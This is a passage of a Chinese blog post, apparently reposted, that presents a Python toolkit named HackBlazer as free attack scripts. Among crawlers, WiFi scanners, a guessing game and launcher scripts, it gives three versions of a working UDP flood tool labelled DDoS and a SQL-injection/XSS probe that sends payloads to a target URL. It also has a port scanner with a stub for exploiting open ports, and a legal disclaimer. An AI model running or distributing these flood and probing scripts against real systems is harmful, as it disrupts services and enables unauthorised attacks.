  20.     # 创建按钮
  21.     start_button = tk.Button(root, text="Start", command=lambda: start_crawling(url_entry1.get()))
  22.     start_button.pack(pady=20)
  24.     root.mainloop()
  26. def start_crawling(url):
  27.     try:
  28.         response = requests.get(url, stream=True)  # 设置stream为True以分块获取数据，提高效率和节省内存
  29.         response.raise_for_status()
  30.         # 这里简单以获取视频的第一帧画面作为示意（不同视频格式获取首帧方式不同，此为简单模拟）
  31.         first_frame_data = None
  32.         for chunk in response.iter_content(chunk_size=1024):
  33.             if first_frame_data is None:
  34.                 first_frame_data = chunk
  35.             else:
  36.                 first_frame_data += chunk
  37.             # 简单判断是否达到一定长度，认为获取到首帧，实际情况更复杂需根据视频格式解析判断
  38.             if len(first_frame_data) > 1024 * 1024:  # 示例阈值，可调整
  39.                 break
  41.         # 使用PIL库打开获取到的数据（模拟为图片数据）
  42.         image = Image.open(first_frame_data)
  43.         photo = ImageTk.PhotoImage(image)
  45.         # 创建新窗口显示视频的首帧画面（示意）
  46.         new_window = tk.Toplevel()
  47.         new_window.title("视频首帧画面")
  48.         new_window.geometry("400x300")
  50.         video_label = tk.Label(new_window, image=photo)
  51.         video_label.image = photo  # 避免图片被垃圾回收，需保持引用
  52.         video_label.pack(pady=20)
  54.     except requests.RequestException as e:
  55.         messagebox.showerror("错误", f"爬取视频时出错: {e}")
  57. if __name__ == "__main__":
  58.     create_main_window()
  59.

16.爬取网页源代码

这个是"爬取网页源代码"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import requests
  3. print("<DigitalTrailBlazer>")
  4. def crawl_webpage_source(url):
  5.     try:
  6.         response = requests.get(url)
  7.         response.raise_for_status()  # 如果请求失败，抛出异常
  9.         return response.text
  10.     except requests.exceptions.RequestException as e:
  11.         print(f"爬取网页时出错: {e}")
  12.         return None
  14. def save_to_txt(content, file_path):
  15.     with open(file_path, 'w', encoding='utf-8') as f:
  16.         f.write(content)
  18. if __name__ == "__main__":
  19.     url = input("请输入要爬取的网页地址: ")
  20.     choice = input("请选择操作（1. 打印至终端；2. 下载至指定txt文件）: ")
  22.     source_code = crawl_webpage_source(url)
  23.     if source_code:
  24.         if choice == '1':
  25.             print(source_code)
  26.         elif choice == '2':
  27.             file_path = input("请输入要保存的txt文件路径及文件名: ")
  28.             save_to_txt(source_code, file_path)
  29.             print(f"已成功将网页源代码保存至 {file_path}")

17.爬取网站ip

这个是"爬取网站IP"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import socket
  3. print("<DigitalTrailBlazer>")
  4. website_url = input("请输入网站地址 <<")
  5. try:
  6.     ip_address = socket.gethostbyname(website_url)
  7.     print(f"网站 {website_url} 对应的IP地址是: {ip_address}")
  8. except socket.gaierror as e:
  9.     print(f"解析网站地址 {website_url} 出现错误: {e}")

18.扫描附近wifi第2版

这个是"扫描附近wifi第2版"，一定要这样命名，不然用不了，后面自己加后缀！
第1版出现离奇的bug！所以没了。：）

  1. import pywifi
  2. from pywifi import const
  3. import time
  5. def scan_wifi():
  6.     wifi = pywifi.PyWiFi()
  7.     iface = wifi.interfaces()[0]
  8.     iface.scan()
  9.     time.sleep(2)  # 等待扫描完成
  10.     scan_results = iface.scan_results()
  11.     return scan_results
  13. import tkinter as tk
  14. from tkinter import ttk
  16. def update_wifi_list():
  17.     wifi_list.delete(*wifi_list.get_children())  # 清空表格
  18.     results = scan_wifi()
  19.     for result in results:
  20.         wifi_list.insert("", "end", values=(result.bssid, result.ssid, result.signal))
  22. root = tk.Tk()
  23. root.title("WiFi Scan")
  25. label = tk.Label(root, text="<DigitalTrailBlazer>")
  26. label.pack(pady=20)
  28. # 创建表格
  29. wifi_list = ttk.Treeview(root, columns=("Address", "Name", "Signal"), show="headings")
  30. wifi_list.heading("Address", text="Address")
  31. wifi_list.heading("Name", text="Name")
  32. wifi_list.heading("Signal", text="Signal")
  33. wifi_list.pack(fill=tk.BOTH, expand=True)
  35. # 定时刷新
  36. root.after(5000, update_wifi_list)  # 每5秒刷新一次
  38. root.mainloop()
  40. import threading
  42. def scan_wifi_thread():
  43.     while True:
  44.         update_wifi_list()
  45.         root.after(5000)  # 每5秒刷新一次
  47. thread = threading.Thread(target=scan_wifi_thread)
  48. thread.daemon = True
  49. thread.start()

19.扫描附近wifi第3版

这个是"扫描附近wifi第3版"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import pywifi
  2. from pywifi import const
  3. import time
  5. print("<DigitalTrailBlazer>")
  6. def scan_wifi():
  7.     wifi = pywifi.PyWiFi()
  8.     iface = wifi.interfaces()[0]
  9.     iface.scan()
  10.     time.sleep(2)  # 等待扫描完成
  11.     results = iface.scan_results()
  12.     
  13.     wifi_list = []
  14.     for result in results:
  15.         info = {
  16.             'address': result.bssid,
  17.             'ssid': result.ssid,
  18.             'signal': result.signal
  19.         }
  20.         wifi_list.append(info)
  21.     
  22.     return wifi_list
  24. if __name__ == "__main__":
  25.     wifi_list = scan_wifi()
  26.     for wifi in wifi_list:
  27.         print(f"Address: {wifi['address']}, SSID: {wifi['ssid']}, Signal: {wifi['signal']}")

20.扫描漏洞

这个是"扫描漏洞"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import requests
  3. print("<DigitalTrailBlazer>")
  4. def scan_vulnerabilities(url):
  5.     vulnerabilities = []
  6.     
  7.     # 示例：检查SQL注入漏洞
  8.     sql_injection_url = url + "'"
  9.     try:
  10.         response = requests.get(sql_injection_url)
  11.         if "You have an error in your SQL syntax" in response.text:
  12.             vulnerabilities.append("SQL Injection Vulnerability")
  13.     except requests.exceptions.RequestException as e:
  14.         print(f"Error: {e}")
  15.     
  16.     # 示例：检查XSS漏洞
  17.     xss_url = url + "<script>alert('XSS')</script>"
  18.     try:
  19.         response = requests.get(xss_url)
  20.         if "<script>alert('XSS')</script>" in response.text:
  21.             vulnerabilities.append("XSS Vulnerability")
  22.     except requests.exceptions.RequestException as e:
  23.         print(f"Error: {e}")
  24.     
  25.     return vulnerabilities
  27. def main():
  28.     target_url = input("Enter the target URL: ")
  29.     vulnerabilities = scan_vulnerabilities(target_url)
  30.     
  31.     if vulnerabilities:
  32.         print("Vulnerabilities found:")
  33.         for vuln in vulnerabilities:
  34.             print(f"- {vuln}")
  35.     else:
  36.         print("No vulnerabilities found.")
  38. if __name__ == "__main__":
  39.     main()

21.扫描指定ip漏洞工具

这个是"扫描指定ip漏洞工具"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import socket
  2. import subprocess
  4. print("<DigitalTrailBlazer>")
  5. def scan_ports(ip, start_port, end_port):
  6.     """扫描指定IP地址的端口"""
  7.     open_ports = []
  8.     for port in range(start_port, end_port + 1):
  9.         try:
  10.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11.             sock.settimeout(1)
  12.             result = sock.connect_ex((ip, port))
  13.             if result == 0:
  14.                 open_ports.append(port)
  15.             sock.close()
  16.         except Exception as e:
  17.             print(f"Error scanning port {port}: {e}")
  18.     return open_ports
  20. def exploit_vulnerability(ip, port):
  21.     """尝试利用已知漏洞"""
  22.     print(f"Trying to exploit vulnerability on {ip}:{port}")
  23.     # 这里可以添加具体的漏洞利用代码
  24.     # 例如，使用Metasploit或其他漏洞利用工具
  25.     # 这里只是一个示例，实际操作需要更复杂的逻辑
  26.     pass
  28. def main():
  29.     target_ip = input("ip <<")  # 目标IP地址
  30.     start_port = 1  # 开始端口
  31.     end_port = 1024  # 结束端口
  33.     print(f"Scanning ports {start_port}-{end_port} on {target_ip}")
  34.     open_ports = scan_ports(target_ip, start_port, end_port)
  36.     if open_ports:
  37.         print(f"Open ports found: {open_ports}")
  38.         for port in open_ports:
  39.             exploit_vulnerability(target_ip, port)
  40.     else:
  41.         print("No open ports found.")
  43. if __name__ == "__main__":
  44.     main()

22.DDoS攻击 第1版

这个是"DDoS攻击 第1版"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import os
  2. import socket
  3. import random
  4. from datetime import datetime
  6. print("<DigitalTrailBlazer>")
  7. now = datetime.now()
  8. hour = now.hour
  9. minute = now.minute
  10. day = now.day
  11. month = now.month
  12. year = now.year
  14. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  16. bytes = random._urandom(65099)
  18. ip = input("ip <<")
  19. port = 80
  20.  
  21. sent = 0
  22. while True:
  23.     sock.sendto(bytes, (ip, port))
  24.     sent = sent + 1
  25.     print("已发送 %s 个数据包到 %s 端口 %d" % (sent, ip, port))

23.DDoS攻击 第2版

这个是"DDoS攻击 第2版"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import socket
  2. import time
  4. print("<DigitalTrailBlazer>")
  5. def send_udp_requests(ip, port, speed):
  6.     # 创建UDP套接字
  7.     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  9.     packet_count = 0
  10.     try:
  11.         while True:
  12.             # 构造一个简单的测试数据包，这里可以根据实际需求修改数据包内容
  13.             data = b"Test UDP Packet"
  14.             sock.sendto(data, (ip, port))
  16.             packet_count += 1
  17.             print(f"已发送第 {packet_count} 个数据包到 {ip}:{port}")
  19.             time.sleep(1 / speed)
  20.     except Exception as e:
  21.         print(f"发生错误: {e}")
  22.     finally:
  23.         sock.close()
  25. if __name__ == "__main__":
  26.     ip_address = input("请输入IP地址: ")
  27.     port_number = int(input("请输入端口号: "))
  28.     request_speed = int(input("请输入请求速度（每秒请求次数）: "))
  30.     send_udp_requests(ip_address, port_number, request_speed)

24.DDoS攻击 第3版

这个是"DDoS攻击 第3版"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import socket
  2. import time
  3. import tkinter as tk
  4. from tkinter import ttk
  5. import threading
  7. def send_udp_requests(ip, port, speed):
  8.     # 创建 UDP 套接字
  9.     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  11.     packet_count = 0
  12.     try:
  13.         while True:
  14.             # 构造一个简单的测试数据包，这里可以根据实际需求修改数据包内容
  15.             data = b"Test UDP Packet"
  16.             start_time = time.time()
  17.             sock.sendto(data, (ip, port))
  18.             end_time = time.time()
  19.             elapsed_time = end_time - start_time
  21.             packet_count += 1
  22.             status_label.config(text=f"已发送第 {packet_count} 个数据包到 {ip}:{port}，耗时：{elapsed_time:.6f} 秒")
  24.             time.sleep(1 / speed)
  25.     except Exception as e:
  26.         print(f"发生错误: {e}")
  27.     finally:
  28.         sock.close()
  30. def start_requests():
  31.     ip = ip_entry.get()
  32.     port = int(port_entry.get())
  33.     speed = int(speed_entry.get())
  34.     t = threading.Thread(target=send_udp_requests, args=(ip, port, speed))
  35.     t.start()
  37. def adjust_opacity(value):
  38.     root.attributes('-alpha', float(value))
  40. root = tk.Tk()
  41. root.title("DDOS工具")
  43. label = tk.Label(root, text="<DigitalTrailBlazer>")
  44. label.pack(pady=20)
  46. ip_label = tk.Label(root, text="请输入 IP 地址:")
  47. ip_label.pack()
  48. ip_entry = tk.Entry(root)
  49. ip_entry.pack()
  51. port_label = tk.Label(root, text="请输入端口号:")
  52. port_label.pack()
  53. port_entry = tk.Entry(root)
  54. port_entry.pack()
  56. speed_label = tk.Label(root, text="请输入请求速度（每秒请求次数）:")
  57. speed_label.pack()
  58. speed_entry = tk.Entry(root)
  59. speed_entry.pack()
  61. start_button = tk.Button(root, text="开始请求", command=start_requests)
  62. start_button.pack()
  64. status_label = tk.Label(root, text="")
  65. status_label.pack()
  67. opacity_scale = ttk.Scale(root, from_=0.1, to=1.0, orient="horizontal", command=adjust_opacity)
  68. opacity_scale.set(1.0)
  69. opacity_scale.pack()
  71. root.mainloop()

25.DigitalTrailBlazer-hackblazer协议

这个是"DigitalTrailBlazer-hackblazer协议"，一定要这样命名，不然用不了，后面自己加后缀！
一定要有！不然脚本不给启动

  1. "<DigitalTrailBlazer>"
  2. """DigitalTrailBlazer-hackblazer免责声明
  3. 本软件的使用受限于用户已获得合法授权，开发者不对用户授权的合法性进行审查，用户自行对因授权问题导致的法律后果负责。
  4. 使用本软件必须遵守所有适用的法律法规，包括但不限于国内法、国际法以及特定行业相关法规，用户若有违法使用行为，承担全部法律责任。
  5. 本软件可能存在未知漏洞或错误，尽管开发者尽力改进，但对于因这些问题导致的用户数据丢失、系统损坏或其他不良后果，开发者不承担责任。
  6. 用户不得将本软件用于任何非法目的，如网络犯罪、恶意攻击、未经授权的系统入侵等，否则将依法承担全部责任。
  7. 本软件仅供合法的安全测试、网络研究、企业内部安全评估等授权场景使用，未经授权用于其他目的属于用户违规行为。
  8. 在使用本软件进行操作时，用户应采取合理措施防止对目标系统造成损害，因用户疏忽造成的损失由用户自行承担。
  9. 对于因不可抗力（如自然灾害、战争、政府行为、网络故障等超出开发者控制范围的情况）导致的软件问题或用户损失，开发者不承担责任。
  10. 本软件的使用许可仅授予用户个人或特定授权实体，未经许可不得分发、共享、出租、出售本软件，否则用户承担侵权责任。
  11. 用户不得利用本软件对政府机构、军事设施、关键基础设施（能源、通信、金融等）进行未经授权的访问或攻击，否则自行承担法律后果。
  12. 本软件不保证与所有的操作系统、硬件设备或其他软件完全兼容，因兼容性问题导致的问题，开发者不承担责任。
  13. 用户使用本软件产生的任何直接或间接损失，包括但不限于经济损失、数据损失、业务中断等，开发者不承担赔偿责任。
  14. 开发者不承担因用户使用本软件对第三方造成损害而引发的任何责任，包括但不限于第三方索赔、诉讼等。
  15. 用户不得使用本软件收集、存储或传播违反隐私法规的个人信息，若有违反，用户承担责任。
  16. 若用户修改本软件或创建衍生作品且未获得开发者书面同意，将承担知识产权相关法律责任。
  17. 本软件仅作为一种工具提供，用户应对其使用行为和相关决策负责，开发者不对用户的决策失误承担责任。
  18. 用户不得使用本软件干扰或破坏其他软件、网络服务的正常运行，如有违反，自行承担后果。
  19. 对于因软件更新、升级或停用导致的用户不便或损失，开发者不承担责任，用户应自行备份数据。
  20. 用户在使用本软件过程中若遇到技术问题，开发者可提供有限支持，但不保证问题一定能解决。
  21. 本软件中的任何信息、数据或功能仅作为参考，用户不应完全依赖，因依赖产生的问题开发者不负责。
  22. 用户不得使用本软件绕过安全防护机制（如防火墙、认证系统等）进行非法活动，否则承担责任。
  23. 开发者不承担因用户在软件使用过程中违反道德准则或行业规范而产生的任何后果。
  24. 本软件可能会受到网络环境的影响，如网络延迟、丢包等，开发者不对由此产生的问题负责。
  25. 用户不得使用本软件对教育机构、医疗机构、公益组织等特殊保护对象进行未经授权的渗透测试。
  26. 若用户利用本软件进行商业间谍活动、不正当竞争等违法商业行为，将依法承担责任。
  27. 本软件的知识产权归开发者所有，用户不得删除、掩盖或篡改软件中的知识产权标识。
  28. 用户不得使用本软件故意制造虚假信息、误导用户或进行欺诈活动，否则承担法律责任。
  29. 在使用本软件进行渗透测试等操作时，应遵守相关的安全标准和规范，因违反导致的问题用户负责。
  30. 开发者有权根据法律法规、技术发展等情况对软件进行修改或终止服务，用户应接受。
  31. 用户在使用本软件前应仔细阅读本免责声明，继续使用表示用户接受所有条款。"""

26.game1

这个是"game1"，一定要这样命名，不然用不了，后面自己加后缀！

  1. import random
  3. number1 = int(input("最小:"))
  4. number2 = int(input("最大:"))
  5. number_to_guess = random.randint(number1, number2)
  6. tries = 0
  8. print("欢迎来到猜数字游戏！我已经想好了一个",number1,"到",number2,"之间的数字，你来猜猜看。")
  10. while True:
  11.     try:
  12.         guess = int(input("请输入你的猜测："))
  13.         tries += 1
  15.         if guess == number_to_guess:
  16.             print(f"恭喜你，猜对了！你一共猜了 {tries} 次。")
  17.             break
  18.         elif guess < number_to_guess:
  19.             print("猜的数字太小了，再试试吧。")
  20.         else:
  21.             print("猜的 数字太大了，再试试吧。")
  22.     except ValueError:
  23.         print("请输入一个有效的整数哦。")

27.HBuse

这个是"HBuse"

  1. import subprocess
  2. import time
  3. import sys
  4. import os
  6. os.system('cls' if os.name == 'nt' else 'clear')
  7. time.sleep(1)
  8. print("此程序由 DigitalTrailBlazer 团队提供技术支持")
  9. time.sleep(1)
  10. print("HackBlazer的调用程序")
  11. time.sleep(1)
  12. front_loaded_suffixPY = input("suffix <<")
  13. if front_loaded_suffixPY == "":
  14.     front_loaded_suffixPY = ".py"
  15.     suffixPY = front_loaded_suffixPY
  16.     print("以默认后缀名为 '.py' !")
  17. print(front_loaded_suffixPY)
  18. time.sleep(1)
  20. while True:
  21.     mainprogramcall = input("mainprogramcall <<")
  22.     mainprogramcall1 = ["invoker -hackblazer","invoker -hb","invoker -HackBlazer","invoker -HB","invoker -HACKBLAZER"]
  23.     if mainprogramcall in mainprogramcall1:#调用HackBlazer程序
  24.         mainprogramcall_input_invoker = input("是否调用HackBlazer (y/n)")
  25.         mainprogramcall2_y = ["y","yes","Y","YES"]
  26.         mainprogramcall3_n = ["N","NO","n","no"]
  27.         if mainprogramcall_input_invoker in mainprogramcall2_y:#调用HackBlazer  -  y
  28.             file_path = ("HackBlazerM" + front_loaded_suffixPY)
  29.             if os.path.exists(file_path):#检查文件是否存在
  30.                 print("文件正常")
  31.                 print("正在调用HackBlazer")
  32.                 time.sleep(1)
  33.                 def run_in_new_console(command):
  34.                     # 使用subprocess.Popen创建新进程，并指定创建新控制台窗口
  35.                     process = subprocess.Popen(command, creationflags=subprocess.CREATE_NEW_CONSOLE)
  36.                     return process
  37.                 if __name__ == "__main__":
  38.                     # 定义要运行的命令
  39.                     command = ["python", "HBuse2" + front_loaded_suffixPY]  # 替换为你要运行的脚本
  40.                     run_in_new_console(command)
  41.             else:#文件不正常
  42.                 print("文件不正常")
  43.         if mainprogramcall_input_invoker in mainprogramcall3_n:#调用HackBlazer  -  n
  44.             print("已取消调用HackBlazer")
  45.     if mainprogramcall == "suffix":#更改后缀名
  46.         front_loaded_suffixPY = input("suffix <<")
  47.         print("已更改后缀名为 " + front_loaded_suffixPY)
  48.         print("需要重启程序")
  49.         subprocess.call(["python","HBuse"+front_loaded_suffixPY])
  50.     target_strings3 = ["cls", "clear", "clear screen", "cls screen"]
  51.     if mainprogramcall in target_strings3:#清屏
  52.         os.system('cls' if os.name == 'nt' else 'clear')
  53.     if mainprogramcall == "exit()":
  54.         print("已退出")
  55.         sys.exit()

28.HBuse2

这个是"HBuse2"

  1. import subprocess
  3. suffixPY = input("suffix <<")
  4. if suffixPY == "":
  5.     suffixPY = ".py"
  6.     print(f"以默认后缀名为 {suffixPY} !")
  7. def run_in_new_console(command):
  8.     # 使用subprocess.Popen创建新进程，并指定创建新控制台窗口
  9.     process = subprocess.Popen(command, creationflags=subprocess.CREATE_NEW_CONSOLE)
  10.     return process
  12. if __name__ == "__main__":
  13.     # 定义要运行的命令
  14.     command = ["python", "hackblazerM" + suffixPY]  # 替换为你要运行的脚本
  15.     
  16.     # 在新终端窗口中运行命令
  17.     run_in_new_console(command)
标签： 开源 windows python
本文转载自: https://blog.csdn.net/YoMon1564/article/details/143998723
版权归原作者 YoMon1564 所有， 如有侵权，请联系我们删除。
登录后发布评论

“HackBlazer 纯python3.11.9免费开源攻击脚本Windows版”的评论:

还没有评论
关于作者
...
overfit同步小助手
文章同步
相关阅读

网络安全法-网络运行安全

使用selenium/drissionpage时如何阻止chrome自动跳转http到https

docker desktop 里部署的Open WebUI 管理员密码忘记了的处理方法

在ubuntu20.04中搭建onsite比赛运行环境

利用开源的低代码表单设计器FcDesigner高效管理和渲染复杂表单结构

Kafka学习笔记

【前端】浏览器输入url到页面呈现发生了什么？